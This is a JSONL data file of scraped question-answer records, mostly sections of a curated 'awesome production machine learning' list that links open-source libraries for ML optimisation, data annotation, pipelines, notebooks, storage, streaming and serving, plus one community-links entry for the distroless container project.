{"id": "gh_4766e7e40b06", "question": "How to: Community Discussion", "question_body": "About GoogleContainerTools/distroless", "answer": "- [distroless-users Google Group](https://groups.google.com/forum/#!forum/distroless-users)\n- [Kubernetes slack #distroless channel](https://slack.k8s.io/)", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750376"}
{"id": "gh_080ad269a266", "question": "How to: Awesome Production Machine Learning", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "This repository contains a curated list of awesome open source libraries that will help you deploy, monitor, version, scale, and secure your production machine learning 🚀\n\nYou can keep up to date by watching this github repo to get a summary of the new production ML libraries added every month [via releases](https://github.com/EthicalML/awesome-production-machine-learning/releases) 🤩\n\nAdditionally, we provide a [search toolkit](https://huggingface.co/spaces/zhiminy/Awesome-Production-Machine-Learning-Search) that helps you quickly navigate through the toolchain.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629555"}
{"id": "gh_32d57935e029", "question": "How to: Quick links to sections on this page", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "| | | |\n|-|-|-|\n| [🔧 AutoML](#automl) | [🧮 Computation & Communication Optimisation](#computation-and-communication-optimisation) | [🏷️ Data Annotation & Synthesis](#data-annotation-and-synthesis) |\n| [🧵 Data Pipeline](#data-pipeline) | [📓 Data Science Notebook](#data-science-notebook) | [💾 Data Storage Optimisation](#data-storage-optimisation) |\n| [💸 Data Stream Processing](#data-stream-processing) | [💪 Deployment & Serving](#deployment-and-serving) | [📈 Evaluation & Monitoring](#evaluation-and-monitoring) |\n| [🔍 Explainability & Fairness](#explainability-and-fairness) | [🎁 Feature Store](#feature-store) | [🔴 Industry-strength Anomaly Detection](#industry-strength-anomaly-detection) |\n| [👁️ Industry-strength Computer Vision](#industry-strength-computer-vision) | [🔥 Industry-strength Information Retrieval](#industry-strength-information-retrieval) | [🔠 Industry-strength Natural Language Processing](#industry-strength-nlp) |\n| [🙌 Industry-strength Recommender System](#industry-strength-recommender-system) | [🍕 Industry-strength Reinforcement Learning](#industry-strength-reinforcement-learning) | [🤖 Industry-strength Robotics](#industry-strength-robotics) |\n| [📊 Industry-strength Visualisation](#industry-strength-visualisation) | [📅 Metadata Management](#metadata-management) | [📜 Model, Data & Experiment Management](#model-data-and-experiment-management) |\n| [🔩 Model Storage Optimisation](#model-storage-optimisation) | [🏁 Model Training & Orchestration](#model-training-and-orchestration) | [🔏 Privacy & Safety](#privacy-and-safety) |", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629577"}
{"id": "gh_06e6cd154eb1", "question": "How to: Contributing to the list", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "Please review our [CONTRIBUTING.md](https://github.com/EthicalML/awesome-production-machine-learning/blob/master/CONTRIBUTING.md) requirements when submitting a PR to help us keep the list clean and up-to-date - thank you to the community for supporting its steady growth 🚀", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 19937, "answer_score": 10, "has_code": true, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629589"}
{"id": "gh_f3cfb4038702", "question": "How to: 10 Min Video Overview", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "This\n10 minute video\nprovides an overview of the motivations for machine learning operations as well as a high level overview on some of the tools in this repo. This\nnewer video\ncovers the an updated 2024 version of the state of MLOps.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 19937, "answer_score": 10, "has_code": true, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629597"}
{"id": "gh_1527a73f5a2d", "question": "How to: Want to receive recurrent updates on this repo and other advancements?", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "You can join the\nMachine Learning Engineer\nnewsletter. Join over 70,000 ML professionals and enthusiasts who receive weekly curated articles & tutorials on production Machine Learning.\nAlso check out the\nAwesome Production GenAI\nList, where we aim to map a curated list of awesome open source libraries to deploy, monitor, version and scale your generative artificial intelligence applications and systems.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 19937, "answer_score": 10, "has_code": true, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629606"}
{"id": "gh_8f46f289239e", "question": "How to: Computation and Communication Optimisation", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Accelerate](https://github.com/huggingface/accelerate) ![](https://img.shields.io/github/stars/huggingface/accelerate.svg?cacheSeconds=86400) - Accelerate abstracts exactly and only the boilerplate code related to multi-GPU/TPU/mixed-precision and leaves the rest of your code unchanged.\n* [Adapters](https://github.com/adapter-hub/adapters) ![](https://img.shields.io/github/stars/adapter-hub/adapters.svg?cacheSeconds=86400) - Adapters is a unified library for parameter-efficient and modular transfer learning.\n* [BitBLAS](https://github.com/microsoft/BitBLAS) ![](https://img.shields.io/github/stars/microsoft/BitBLAS.svg?cacheSeconds=86400) - BitBLAS is a library to support mixed-precision BLAS operations on GPUs\n* [Colossal-AI](https://github.com/hpcaitech/ColossalAI) ![](https://img.shields.io/github/stars/hpcaitech/ColossalAI.svg?cacheSeconds=86400) - A unified deep learning system for big model era, which helps users to efficiently and quickly deploy large AI model training and inference.\n* [Composer](https://github.com/mosaicml/composer) ![](https://img.shields.io/github/stars/mosaicml/composer.svg?cacheSeconds=86400) - Composer is a PyTorch library that enables you to train neural networks faster, at lower cost, and to higher accuracy.\n* [CuDF](https://github.com/rapidsai/cudf) ![](https://img.shields.io/github/stars/rapidsai/cudf.svg?cacheSeconds=86400) - Built based on the Apache Arrow columnar memory format, cuDF is a GPU DataFrame library for loading, joining, aggregating, filtering, and otherwise manipulating data.\n* [CuML](https://github.com/rapidsai/cuml) ![](https://img.shields.io/github/stars/rapidsai/cuml.svg?cacheSeconds=86400) - cuML is a suite of libraries that implement machine learning algorithms and mathematical primitives functions that share compatible APIs with other RAPIDS projects.\n* [CuPy](https://github.com/cupy/cupy) ![](https://img.shields.io/github/stars/cupy/cupy.svg?cacheSeconds=86400) - An implementation of NumPy-compatible multi-dimensional array on CUDA. CuPy consists of the core multi-dimensional array class, cupy.ndarray, and many functions on it.\n* [DEAP](https://github.com/DEAP/deap) ![](https://img.shields.io/github/stars/DEAP/deap.svg?cacheSeconds=86400) - A novel evolutionary computation framework for rapid prototyping and testing of ideas. It seeks to make algorithms explicit and data structures transparent. It works in perfect harmony with parallelisation mechanisms such as multiprocessing and SCOOP.\n* [DeepEP](https://github.com/deepseek-ai/DeepEP) ![](https://img.shields.io/github/stars/deepseek-ai/DeepEP.svg?cacheSeconds=86400) - DeepEP is a communication library tailored for Mixture-of-Experts (MoE) and expert parallelism (EP). It provides high-throughput and low-latency all-to-all GPU kernels, which are also known as MoE dispatch and combine. The library also supports low-precision operations, including FP8.\n* [DGL](https://github.com/dmlc/dgl) ![](https://img.shields.io/github/stars/dmlc/dgl.svg?cacheSeconds=86400) - DGL is an easy-to-use, high performance and scalable Python package for deep learning on graphs.\n* [DLRover](https://github.com/intelligent-machine-learning/dlrover) ![](https://img.shields.io/github/stars/intelligent-machine-learning/dlrover.svg?cacheSeconds=86400) - DLRover makes the distributed training of large AI models easy, stable, fast and green.\n* [Dask](https://github.com/dask/dask) ![](https://img.shields.io/github/stars/dask/dask.svg?cacheSeconds=86400) - Distributed parallel processing framework for Pandas and NumPy computations.\n* [DeepSpeed](https://github.com/deepspeedai/DeepSpeed) ![](https://img.shields.io/github/stars/deepspeedai/DeepSpeed.svg?cacheSeconds=86400) - DeepSpeed is a deep learning optimization library that makes distributed training and inference easy, efficient, and effective.\n* [FlagGems](https://github.com/FlagOpen/FlagGems) ![](https://img.shields.io/github/stars/FlagOpen/FlagGems.svg?cacheSeconds=86400) - FlagGems is a high-performance general operator library implemented in OpenAI Triton. It builds on a collection of backend neutral kernels that aims to accelerate LLM training and inference across diverse hardware platforms.\n* [Flashlight](https://github.com/flashlight/flashlight) ![](https://img.shields.io/github/stars/flashlight/flashlight.svg?cacheSeconds=86400) - A fast, flexible machine learning library written entirely in C++ from the Facebook AI Research and the creators of Torch, TensorFlow, Eigen and Deep Speech.\n* [Flax](https://github.com/google/flax) ![](https://img.shields.io/github/stars/google/flax.svg?cacheSeconds=86400) - A neural network library and ecosystem for JAX designed for flexibility.\n* [GPUStack](https://github.com/gpustack/gpustack) ![](https://img.shields.io/github/stars/gpustack/gpustack.svg?cacheSeconds=86400) - GPUStack is an open-source GPU cluster manager for running AI models.\n* [Hivemind](https://github.com/learning-at-home/hivemind) ![](https://img.shields.io/github/sta", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629644"}
{"id": "gh_81685f854c5a", "question": "How to: Data Annotation and Synthesis", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Argilla](https://github.com/argilla-io/argilla) ![](https://img.shields.io/github/stars/argilla-io/argilla.svg?cacheSeconds=86400) - Argilla helps domain experts and data teams to build better NLP datasets in less time.\n* [cleanlab](https://github.com/cleanlab/cleanlab) ![](https://img.shields.io/github/stars/cleanlab/cleanlab.svg?cacheSeconds=86400) - Python library for data-centric AI. Can automatically: find mislabeled data, detect outliers, estimate consensus + annotator-quality for multi-annotator datasets, suggest which data is best to (re)label next.\n* [COCO Annotator](https://github.com/jsbroks/coco-annotator) ![](https://img.shields.io/github/stars/jsbroks/coco-annotator.svg?cacheSeconds=86400) - Web-based image segmentation tool for object detection, localization and keypoints\n* [CVAT](https://github.com/cvat-ai/cvat) ![](https://img.shields.io/github/stars/cvat-ai/cvat.svg?cacheSeconds=86400) - CVAT (Computer Vision Annotation Tool) is OpenCV's web-based annotation tool for both videos and images for computer algorithms.\n* [Doccano](https://github.com/doccano/doccano) ![](https://img.shields.io/github/stars/doccano/doccano.svg?cacheSeconds=86400) - Open source text annotation tools for humans, providing functionality for sentiment analysis, named entity recognition, and machine translation.\n* [Gretel Synthetics](https://github.com/gretelai/gretel-synthetics) ![](https://img.shields.io/github/stars/gretelai/gretel-synthetics.svg?cacheSeconds=86400) - Gretel Synthetics is a synthetic data generators for structured and unstructured text, featuring differentially private learning.\n* [Label Studio](https://github.com/HumanSignal/label-studio) ![](https://img.shields.io/github/stars/HumanSignal/label-studio.svg?cacheSeconds=86400) - Multi-domain data labeling and annotation tool with standardized output format.\n* [NeMo Curator](https://github.com/NVIDIA/NeMo-Curator) ![](https://img.shields.io/github/stars/NVIDIA/NeMo-Curator.svg?cacheSeconds=86400) - NeMo Curator is a GPU-accelerated framework for efficient large language model data curation.\n* [refinery](https://github.com/code-kern-ai/refinery) ![](https://img.shields.io/github/stars/code-kern-ai/refinery.svg?cacheSeconds=86400) - The data scientist's open-source choice to scale, assess and maintain natural language data.\n* [SDV](https://github.com/sdv-dev/SDV) ![](https://img.shields.io/github/stars/sdv-dev/SDV.svg?cacheSeconds=86400) - Synthetic Data Vault (SDV) is a Synthetic Data Generation ecosystem of libraries that allows users to easily learn single-table, multi-table and timeseries datasets to later on generate new Synthetic Data that has the same format and statistical properties as the original dataset.\n* [Semantic Segmentation Editor](https://github.com/Hitachi-Automotive-And-Industry-Lab/semantic-segmentation-editor) ![](https://img.shields.io/github/stars/Hitachi-Automotive-And-Industry-Lab/semantic-segmentation-editor.svg?cacheSeconds=86400) - Hitachi's Open source tool for labelling camera and LIDAR data.\n* [synthcity](https://github.com/vanderschaarlab/synthcity) ![](https://img.shields.io/github/stars/vanderschaarlab/synthcity.svg?cacheSeconds=86400) - synthcity is a library for generating and evaluating synthetic tabular data.\n* [ViPE](https://github.com/nv-tlabs/vipe) ![](https://img.shields.io/github/stars/nv-tlabs/vipe.svg?cacheSeconds=86400) - ViPE is a spatial AI tool for annotating camera poses and dense depth maps from raw videos.\n* [YData Synthetic](https://github.com/ydataai/ydata-synthetic) ![](https://img.shields.io/github/stars/ydataai/ydata-synthetic.svg?cacheSeconds=86400) - YData Synthetic is a package to generate synthetic tabular and time-series data leveraging the state of the art generative models.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629656"}
{"id": "gh_a5933c214a9e", "question": "How to: Data Pipeline", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Apache Airflow](https://github.com/apache/airflow) ![](https://img.shields.io/github/stars/apache/airflow.svg?cacheSeconds=86400) - Data Pipeline framework built in Python, including scheduler, DAG definition and a UI for visualisation.\n* [Apache Nifi](https://github.com/apache/nifi) ![](https://img.shields.io/github/stars/apache/nifi.svg?cacheSeconds=86400) - Apache NiFi was made for dataflow. It supports highly configurable directed graphs of data routing, transformation, and system mediation logic.\n* [Apache Oozie](https://github.com/apache/oozie) ![](https://img.shields.io/github/stars/apache/oozie.svg?cacheSeconds=86400) - Workflow scheduler for Hadoop jobs.\n* [Argo Workflows](https://github.com/argoproj/argo-workflows) ![](https://img.shields.io/github/stars/argoproj/argo-workflows.svg?cacheSeconds=86400) - Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Argo Workflows is implemented as a Kubernetes CRD (Custom Resource Definition).\n* [Couler](https://github.com/couler-proj/couler) ![](https://img.shields.io/github/stars/couler-proj/couler.svg?cacheSeconds=86400) - Unified interface for constructing and managing machine learning workflows on different workflow engines, such as Argo Workflows, Tekton Pipelines, and Apache Airflow.\n* [DataTrove](https://github.com/huggingface/datatrove) ![](https://img.shields.io/github/stars/huggingface/datatrove.svg?cacheSeconds=86400) - DataTrove is a library to process, filter and deduplicate text data at a very large scale.\n* [Dagster](https://github.com/dagster-io/dagster) ![](https://img.shields.io/github/stars/dagster-io/dagster.svg?cacheSeconds=86400) - A data orchestrator for machine learning, analytics, and ETL.\n* [DBT](https://github.com/dbt-labs/dbt-core) ![](https://img.shields.io/github/stars/dbt-labs/dbt-core.svg?cacheSeconds=86400) - ETL tool for running transformations inside data warehouses.\n* [Flyte](https://github.com/flyteorg/flyte) ![](https://img.shields.io/github/stars/flyteorg/flyte.svg?cacheSeconds=86400) - Lyft’s Cloud Native Machine Learning and Data Processing Platform - [(Demo)](https://youtu.be/KdUJGSP1h9U?t=1451).\n* [Genie](https://github.com/Netflix/genie) ![](https://img.shields.io/github/stars/Netflix/genie.svg?cacheSeconds=86400) - Job orchestration engine to interface and trigger the execution of jobs from Hadoop-based systems.\n* [Hamilton](https://github.com/dagworks-inc/hamilton) ![](https://img.shields.io/github/stars/dagworks-inc/hamilton.svg?cacheSeconds=86400) - Hamilton is a micro-orchestration framework for defining dataflows. Runs anywhere python runs (e.g. jupyter, fastAPI, spark, ray, dask). Brings software engineering best practices without you knowing it. Use it to define feature engineering transforms, end-to-end model pipelines, and LLM workflows. It complements macro-orchestration systems (e.g. kedro, luigi, airflow, dbt, etc.) as it replaces the code within those macro tasks. Comes with a self-hostable UI that captures lineage & provenance, execution telemetry & data summaries, and builds a self-populating catalog; usable in development as well as production.\n* [Instill VDP](https://github.com/instill-ai/instill-core) ![](https://img.shields.io/github/stars/instill-ai/instill-core.svg?cacheSeconds=86400) - Instill VDP (Versatile Data Pipeline) aims to streamline the data processing pipelines from inception to completion.\n* [Instructor](https://github.com/instructor-ai/instructor) ![](https://img.shields.io/github/stars/instructor-ai/instructor.svg?cacheSeconds=86400) - Instructor makes it easy to get structured data like JSON from LLMs like GPT-3.5, GPT-4, GPT-4-Vision, and open-source models.\n* [Kedro](https://github.com/kedro-org/kedro) ![](https://img.shields.io/github/stars/kedro-org/kedro.svg?cacheSeconds=86400) - Kedro is a workflow development tool that helps you build data pipelines that are robust, scalable, deployable, reproducible and versioned.\n* [Luigi](https://github.com/spotify/luigi) ![](https://img.shields.io/github/stars/spotify/luigi.svg?cacheSeconds=86400) - Luigi is a Python module that helps you build complex pipelines of batch jobs, handling dependency resolution, workflow management, visualisation, etc..\n* [Metaflow](https://github.com/Netflix/metaflow) ![](https://img.shields.io/github/stars/Netflix/metaflow.svg?cacheSeconds=86400) - A framework for data scientists to easily build and manage real-life data science projects.\n* [Pachyderm](https://github.com/pachyderm/pachyderm) ![](https://img.shields.io/github/stars/pachyderm/pachyderm.svg?cacheSeconds=86400) - Open source distributed processing framework build on Kubernetes focused mainly on dynamic building of production machine learning pipelines - [(Video)](https://www.youtube.com/watch?v=LamKVhe2RSM).\n* [Ploomber](https://github.com/ploomber/ploomber) ![](https://img.shields.io/github/stars/ploomber/ploomber.svg?cacheSeconds=86400) - The fastest way to build data pipeli", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629680"}
{"id": "gh_d9fcf52808fe", "question": "How to: Data Science Notebook", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Apache Zeppelin](https://github.com/apache/zeppelin) ![](https://img.shields.io/github/stars/apache/zeppelin.svg?cacheSeconds=86400) - Web-based notebook that enables data-driven, interactive data analytics and collaborative documents with SQL, Scala and more.\n* [Deepnote](https://github.com/deepnote/deepnote) ![](https://img.shields.io/github/stars/deepnote/deepnote.svg?cacheSeconds=86400) - Deepnote is a drop-in replacement for Jupyter with an AI-first design, sleek UI, new blocks, and native data integrations. Use Python, R, and SQL locally in your favorite IDE, then scale to Deepnote cloud for real-time collaboration, Deepnote agent, and deployable data apps.\n* [Jupyter Notebooks](https://github.com/jupyter/notebook) ![](https://img.shields.io/github/stars/jupyter/notebook.svg?cacheSeconds=86400) - Web interface python sandbox environments for reproducible development\n* [Marimo](https://github.com/marimo-team/marimo) ![](https://img.shields.io/github/stars/marimo-team/marimo.svg?cacheSeconds=86400) - Reactive Python notebook — run reproducible experiments, execute as a script, deploy as an app, and version with git.\n* [Papermill](https://github.com/nteract/papermill) ![](https://img.shields.io/github/stars/nteract/papermill.svg?cacheSeconds=86400) - Papermill is a library for parameterizing notebooks and executing them like Python scripts.\n* [Polynote](https://github.com/polynote/polynote) ![](https://img.shields.io/github/stars/polynote/polynote.svg?cacheSeconds=86400) - Polynote is an experimental polyglot notebook environment. Currently, it supports Scala and Python (with or without Spark), SQL, and Vega.\n* [RMarkdown](https://github.com/rstudio/rmarkdown) ![](https://img.shields.io/github/stars/rstudio/rmarkdown.svg?cacheSeconds=86400) - The rmarkdown package is a next generation implementation of R Markdown based on Pandoc.\n* [Stencila](https://github.com/stencila/stencila) ![](https://img.shields.io/github/stars/stencila/stencila.svg?cacheSeconds=86400) - Stencila is a platform for creating, collaborating on, and sharing data driven content. Content that is transparent and reproducible.\n* [Voilà](https://github.com/voila-dashboards/voila) ![](https://img.shields.io/github/stars/voila-dashboards/voila.svg?cacheSeconds=86400) - Voilà turns Jupyter notebooks into standalone web applications that can e.g. be used as dashboards.\n* [.NET Interactive](https://github.com/dotnet/interactive) ![](https://img.shields.io/github/stars/dotnet/interactive.svg?cacheSeconds=86400) - .NET Interactive takes the power of .NET and embeds it into your interactive experiences.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629692"}
{"id": "gh_4a30f2d14d21", "question": "How to: Data Storage Optimisation", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [AIStore](https://github.com/NVIDIA/aistore) ![](https://img.shields.io/github/stars/NVIDIA/aistore.svg?cacheSeconds=86400) - AIStore is a lightweight object storage system with the capability to linearly scale out with each added storage node and a special focus on petascale deep learning.\n* [Alluxio](https://github.com/Alluxio/alluxio) ![](https://img.shields.io/github/stars/Alluxio/alluxio.svg?cacheSeconds=86400) - A virtual distributed storage system that bridges the gab between computation frameworks and storage systems.\n* [Apache Arrow](https://github.com/apache/arrow) ![](https://img.shields.io/github/stars/apache/arrow.svg?cacheSeconds=86400) - In-memory columnar representation of data compatible with Pandas, Hadoop-based systems, etc..\n* [Apache Druid](https://github.com/apache/druid) ![](https://img.shields.io/github/stars/apache/druid.svg?cacheSeconds=86400) - A high performance real-time analytics database. Check this [article](https://towardsdatascience.com/introduction-to-druid-4bf285b92b5a) for introduction.\n* [Apache Hudi](https://github.com/apache/hudi) ![](https://img.shields.io/github/stars/apache/hudi.svg?cacheSeconds=86400) - Hudi is a transactional data lake platform that brings core warehouse and database functionality directly to a data lake. Hudi is great for streaming workloads, and also allows creation of efficient incremental batch pipelines. Supports popular query engines including Spark, Flink, Presto, Trino, Hive, etc. More info [here](https://hudi.apache.org/).\n* [Apache Iceberg](https://github.com/apache/iceberg) ![](https://img.shields.io/github/stars/apache/iceberg.svg?cacheSeconds=86400) - Iceberg is an ACID-compliant, high-performance format built for huge analytic tables (containing tens of petabytes of data), and it brings the reliability and simplicity of SQL tables to big data, while making it possible for engines like Spark, Trino, Flink, Presto, Hive and Impala to safely work with the same tables, at the same time. More info [here](https://iceberg.apache.org/).\n* [Apache Ignite](https://github.com/apache/ignite) ![](https://img.shields.io/github/stars/apache/ignite.svg?cacheSeconds=86400) - A memory-centric distributed database, caching, and processing platform for transactional, analytical, and streaming workloads delivering in-memory speeds at petabyte scale - [Demo](https://www.youtube.com/watch?v=Xt4PWQ__YPw).\n* [Apache Parquet](https://github.com/apache/parquet-java) ![](https://img.shields.io/github/stars/apache/parquet-java.svg?cacheSeconds=86400) - On-disk columnar representation of data compatible with Pandas, Hadoop-based systems, etc..\n* [Apache Pinot](https://github.com/apache/pinot) ![](https://img.shields.io/github/stars/apache/pinot.svg?cacheSeconds=86400) - A realtime distributed OLAP datastore. Comparison of the open source OLAP systems for big data: ClickHouse, Druid, and Pinot is found [here](https://medium.com/@leventov/comparison-of-the-open-source-olap-systems-for-big-data-clickhouse-druid-and-pinot-8e042a5ed1c7).\n* [Casibase](https://github.com/casibase/casibase) ![](https://img.shields.io/github/stars/casibase/casibase.svg?cacheSeconds=86400) - Casibase is a LangChain-like RAG (Retrieval-Augmented Generation) knowledge database with web UI and Enterprise SSO.\n* [Chroma](https://github.com/chroma-core/chroma) ![](https://img.shields.io/github/stars/chroma-core/chroma.svg?cacheSeconds=86400) - Chroma is an open-source embedding database.\n* [ClickHouse](https://github.com/ClickHouse/ClickHouse) ![](https://img.shields.io/github/stars/ClickHouse/ClickHouse.svg?cacheSeconds=86400) - ClickHouse is an open source column oriented database management system.\n* [Delta Lake](https://github.com/delta-io/delta) ![](https://img.shields.io/github/stars/delta-io/delta.svg?cacheSeconds=86400) - Delta Lake is a storage layer that brings scalable, ACID transactions to Apache Spark and other big-data engines.\n* [EdgeDB](https://github.com/geldata/gel) ![](https://img.shields.io/github/stars/geldata/gel.svg?cacheSeconds=86400) - Gel supercharges Postgres with a modern data model, graph queries, Auth & AI solutions, and much more.\n* [GPTCache](https://github.com/zilliztech/GPTCache) ![](https://img.shields.io/github/stars/zilliztech/GPTCache.svg?cacheSeconds=86400) - GPTCache is a library for creating semantic cache for large language model queries.\n* [InfluxDB](https://github.com/influxdata/influxdb) ![](https://img.shields.io/github/stars/influxdata/influxdb.svg?cacheSeconds=86400) Scalable datastore for metrics, events, and real-time analytics.\n* [Milvus](https://github.com/milvus-io/milvus) ![](https://img.shields.io/github/stars/milvus-io/milvus.svg?cacheSeconds=86400) Milvus is a cloud-native, open-source vector database built to manage embedding vectors generated by machine learning models and neural networks.\n* [Marqo](https://github.com/marqo-ai/marqo) ![](https://img.shields.io/github/stars/marqo-ai/marqo.svg?cacheSeconds=86400) Marqo is an end-to-end", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629708"}
{"id": "gh_1abb8cb97281", "question": "How to: Data Stream Processing", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Apache Beam](https://github.com/apache/beam) ![](https://img.shields.io/github/stars/apache/beam.svg?cacheSeconds=86400) Apache Beam is a unified programming model for Batch and Streaming.\n* [Apache Flink](https://github.com/apache/flink) ![](https://img.shields.io/github/stars/apache/flink.svg?cacheSeconds=86400) - Open source stream processing framework with powerful stream and batch processing capabilities.\n* [Apache Kafka](https://github.com/apache/kafka) ![](https://img.shields.io/github/stars/apache/kafka.svg?cacheSeconds=86400) - Kafka client library for building applications and microservices where the input and output are stored in kafka clusters.\n* [Apache Samza](https://github.com/apache/samza) ![](https://img.shields.io/github/stars/apache/samza.svg?cacheSeconds=86400) - Distributed stream processing framework. It uses Apache Kafka for messaging, and Apache Hadoop YARN to provide fault tolerance, processor isolation, security, and resource management.\n* [Apache Spark](https://github.com/apache/spark) ![](https://img.shields.io/github/stars/apache/spark.svg?cacheSeconds=86400) - Micro-batch processing for streams using the apache spark framework as a backend supporting stateful exactly-once semantics.\n* [Bytewax](https://github.com/bytewax/bytewax) ![](https://img.shields.io/github/stars/bytewax/bytewax.svg?cacheSeconds=86400) - Flexible Python-centric stateful stream processing framework built on top of Rust engine.\n* [FastStream](https://github.com/airtai/faststream) ![](https://img.shields.io/github/stars/airtai/faststream.svg?cacheSeconds=86400) - A modern broker-agnostic streaming Python framework supporting Apache Kafka, RabbitMQ and NATS protocols, inspired by FastAPI and easily integratable with other web frameworks.\n* [MOA](https://github.com/Waikato/moa) ![](https://img.shields.io/github/stars/Waikato/moa.svg?cacheSeconds=86400) - MOA (Massive Online Analysis) is an open source framework for Big Data stream mining.\n* [MosaicML Streaming](https://github.com/mosaicml/streaming) ![](https://img.shields.io/github/stars/mosaicml/streaming.svg?cacheSeconds=86400) - Fast, deterministic streaming of large datasets from cloud storage for distributed model training.\n* [RisingWave](https://github.com/risingwavelabs/risingwave) ![](https://img.shields.io/github/stars/risingwavelabs/risingwave.svg?cacheSeconds=86400) - A distributed SQL streaming database that unifies stream processing and low-latency serving, ideal for building and serving features for online machine learning.\n* [TensorStore](https://github.com/google/tensorstore) ![](https://img.shields.io/github/stars/google/tensorstore.svg?cacheSeconds=86400) - Library for reading and writing large multi-dimensional arrays.", "tags": ["EthicalML"], "source": "github_gists", "category": "EthicalML", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19937, "answer_score": 10, "has_code": false, "url": "https://github.com/EthicalML/awesome-production-machine-learning", "collected_at": "2026-01-16T23:28:33.629719"}
{"id": "gh_4c8f4147c7eb", "question": "How to: Deployment and Serving", "question_body": "About EthicalML/awesome-production-machine-learning", "answer": "* [Agenta](https://github.com/Agenta-AI/agenta) ![](https://img.shields.io/github/stars/Agenta-AI/agenta.svg?cacheSeconds=86400) - Agenta provides end-to-end tools for the entire LLMOps workflow: building (LLM playground, evaluation), deploying (prompt and configuration management), and  (LLM observability and tracing).\n* [AirLLM](https://github.com/lyogavin/airllm) ![](https://img.shields.io/github/stars/lyogavin/airllm.svg?cacheSeconds=86400) - AirLLM optimizes inference memory usage, allowing 70B large language models to run inference on a single 4GB GPU card without quantization, distillation and pruning.\n* [AITemplate](https://github.com/facebookincubator/AITemplate) ![](https://img.shields.io/github/stars/facebookincubator/AITemplate.svg?cacheSeconds=86400) - AITemplate (AIT) is a Python framework that transforms deep neural networks into CUDA (NVIDIA GPU) / HIP (AMD GPU) C++ code for lightning-fast inference serving.\n* [BentoML](https://github.com/bentoml/BentoML) ![](https://img.shields.io/github/stars/bentoml/BentoML.svg?cacheSeconds=86400) - BentoML is an open source framework for high performance ML model serving.\n* [BISHENG](https://github.com/dataelement/bisheng) ![](https://img.shields.io/github/stars/dataelement/bisheng.svg?cacheSeconds=86400) - BISHENG is an open LLM application devops platform, focusing on enterprise scenarios.\n* [DeepDetect](https://github.com/jolibrain/deepdetect) ![](https://img.shields.io/github/stars/jolibrain/deepdetect.svg?cacheSeconds=86400) - Machine Learning production server for TensorFlow, XGBoost and Cafe models written in C++ and maintained by Jolibrain.\n* [Dynamo](https://github.com/ai-dynamo/dynamo) ![](https://img.shields.io/github/stars/ai-dynamo/dynamo.svg?cacheSeconds=86400) - NVIDIA Dynamo is a high-throughput, low-latency inference framework designed for serving generative AI and reasoning models in multi-node distributed environments.\n* [exo](https://github.com/exo-explore/exo) ![](https://img.shields.io/github/stars/exo-explore/exo.svg?cacheSeconds=86400) - exo helps you run your AI cluster at home with everyday devices.\n* [Genkit](https://github.com/firebase/genkit) ![](https://img.shields.io/github/stars/firebase/genkit.svg?cacheSeconds=86400) - Genkit is an open source framework for building AI-powered apps with familiar code-centric patterns. Genkit makes it easy to develop, integrate, and test AI features with observability and evaluations.\n* [Inference](https://github.com/roboflow/inference) ![](https://img.shields.io/github/stars/roboflow/inference.svg?cacheSeconds=86400) - A fast, production-ready inference server for computer vision supporting deployment of many popular model architectures and fine-tuned models. With Inference, you can 